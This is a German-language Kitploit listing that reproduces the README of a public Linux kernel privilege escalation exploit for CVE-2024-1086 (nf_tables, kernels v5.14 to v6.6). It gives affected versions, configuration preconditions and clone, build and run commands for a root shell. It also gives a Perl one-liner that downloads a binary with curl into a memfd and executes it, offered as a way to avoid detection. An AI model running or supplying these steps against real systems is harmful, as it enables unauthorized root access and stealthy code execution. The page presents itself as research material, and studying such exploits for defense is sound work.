Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-1086 — Universeller Exploit zur lokalen Rechteausweitung für CVE-2024-1086, der Linux-Kernel v5.14 bis v6.6 angreift, mit hoher Erfolgsrate und Unterstützung für dateilose Ausführung. | Kitploit
Tools/GitHubGitHub/b1nhack/cve-2024-1086
Privilege EscalationSchwachstellenanalyseExploitationPapers & ForschungLernen & BildungBinary-Exploitation
GitHubb1nhack/cve-2024-1086

CVE-2024-1086

Universeller Exploit zur lokalen Rechteausweitung für CVE-2024-1086, der Linux-Kernel v5.14 bis v6.6 angreift, mit hoher Erfolgsrate und Unterstützung für dateilose Ausführung.

Repository anzeigen
1vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2024-1086

Universeller lokaler Privilegieneskalations-Proof-of-Concept-Exploit für CVE-2024-1086, der auf den meisten Linux-Kerneln zwischen v5.14 und v6.6 funktioniert, einschließlich Debian, Ubuntu und KernelCTF. Die Erfolgsrate beträgt 99,4 % in KernelCTF-Images.

https://github.com/Notselwyn/CVE-2024-1086/assets/68616630/a3d43951-94ab-4c09-a14b-07b81f89b3de

Blogbeitrag / Analyse

Eine vollständige Analyse des Exploits – einschließlich Hintergrundinformationen und zahlreicher nützlicher Diagramme – finden Sie im Flipping Pages Blogbeitrag.

Betroffene Versionen

Der Exploit betrifft Versionen von (einschließlich) v5.14 bis (einschließlich) v6.6, ausgenommen gepatchte Zweige v5.15.149>, v6.1.76>, v6.6.15>. Der Patch für diese Versionen wurde im Februar 2024 veröffentlicht. Die zugrunde liegende Schwachstelle betrifft alle Versionen (ausgenommen gepatchte stabile Zweige) von v3.15 bis v6.8-rc1.

Einschränkungen:

  • Der Exploit funktioniert nicht auf v6.4>-Kerneln mit kconfig CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y (einschließlich Ubuntu v6.5)
  • Der Exploit erfordert Benutzer-Namespaces (kconfig CONFIG_USER_NS=y), dass diese Benutzer-Namespaces unprivilegiert sind (Shell-Befehl sysctl kernel.unprivileged_userns_clone = 1), und dass nf_tables aktiviert ist (kconfig CONFIG_NF_TABLES=y). Standardmäßig sind diese alle auf Debian, Ubuntu und KernelCTF aktiviert. Andere Distributionen wurden nicht getestet, könnten aber ebenfalls funktionieren. Zusätzlich wurde der Exploit nur auf x64/amd64 getestet.
  • Der Exploit kann auf Systemen mit viel Netzwerkaktivität sehr instabil sein
    • Systeme mit WLAN-Adapter, die von stark genutzten WLAN-Netzwerken umgeben sind, sind sehr instabil.
    • Bitte deaktivieren Sie auf Testgeräten WLAN-Adapter im BIOS.
  • Der Kernel-Panic (Systemabsturz) nach dem Ausführen des Exploits ist ein Nebeneffekt, der bewusst nicht behoben wurde, um böswillige Nutzung des Exploits zu verhindern (d. h. Exploit-Versuche sollten nun auffälliger und in realen Umgebungen unpraktisch sein). Trotzdem ermöglicht es immer noch einen funktionierenden Proof-of-Concept in Laborumgebungen, da die Root-Shell funktionsfähig ist und Persistenz über die Festplatte möglich ist.

Verwendung

Konfiguration

Die Standardwerte sollten auf Debian, Ubuntu und KernelCTF mit einer lokalen Shell sofort funktionieren. Bei nicht getesteten Konfigurationen/Distributionen stellen Sie bitte sicher, dass die kconfig-Werte mit dem Zielkernel übereinstimmen. Diese können in src/config.h festgelegt werden. Wenn Sie den Exploit auf einer Maschine mit mehr als 32 GiB physikalischem Speicher ausführen, erhöhen Sie unbedingt CONFIG_PHYS_MEM. Wenn Sie den Exploit über SSH (in die Testmaschine) oder eine Reverse-Shell ausführen, möchten Sie möglicherweise CONFIG_REDIRECT_LOG auf 1 setzen, um unnötige Netzwerkaktivität zu vermeiden.

Kompilieren

Falls dies für Sie unpraktisch ist, gibt es eine kompilierte x64-Binärdatei mit der Standardkonfiguration.

root@kitploit:~
git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make

Binärdatei: CVE-2024-1086/exploit

Ausführen

Das Ausführen des Exploits ist ebenso trivial:

root@kitploit:~
./exploit

Die ausführungslose (fileless) Ausführung wird ebenfalls unterstützt, für den Fall von Pentest-Situationen, in denen Erkennung vermieden werden muss. Allerdings muss Perl auf dem Ziel installiert sein:

root@kitploit:~
perl -e '
  require qw/syscall.ph/;

  my $fd = syscall(SYS_memfd_create(), $fn, 0);
  system "curl https://example.com/exploit -s >&$fd";
  exec {"/proc/$$/fd/$fd"} "memfd";
'

Haftungsausschluss

Die Programme und Skripte („Programme“) in diesem Softwareverzeichnis/-ordner/-repository („Repository“) werden nur zu Bildungs-/Forschungszwecken veröffentlicht, entwickelt und verteilt. Ich („der Ersteller“) billige keine böswillige oder illegale Nutzung der Programme in diesem Repository, da die Absicht darin besteht, Forschungsergebnisse zu teilen und keine illegalen Aktivitäten damit durchzuführen. Ich bin nicht rechtlich verantwortlich für alles, was Sie mit den Programmen in diesem Repository tun.

Tool herunterladen